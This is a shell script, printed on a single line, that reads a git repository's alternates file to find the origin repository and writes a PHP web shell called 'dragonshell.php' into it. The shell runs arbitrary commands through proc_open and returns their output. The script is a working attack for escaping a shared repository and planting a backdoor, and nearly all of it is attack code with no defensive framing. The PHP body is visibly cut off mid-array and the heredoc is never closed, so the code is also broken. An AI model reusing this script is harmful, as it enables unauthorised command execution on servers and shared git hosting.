#!/bin/sh git_dir=$(git rev-parse --absolute-git-dir) || exit 1 origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac origin_git=${origin_objects%/objects} [ "$origin_git" != "$origin_objects" ] || exit 3 # Create DragonShell in the repository cat > "$origin_git/dragonshell.php" << 'EOF' array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($command, $descriptorspec, $pipes, $work_dir); if (is_resource($process)) { fclose($pipes[0]); $cmd_output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $return_value = proc_close($process); if (!empty($cmd_output)) { $output_content .= htmlspecialchars($cmd_output); } if (!empty($errors)) { $output_content .= "ERROR:\n" . htmlspecialchars($errors); } } else { $output_content .= "Failed to execute command\n"; } $output_content .= "\n"; } } ?>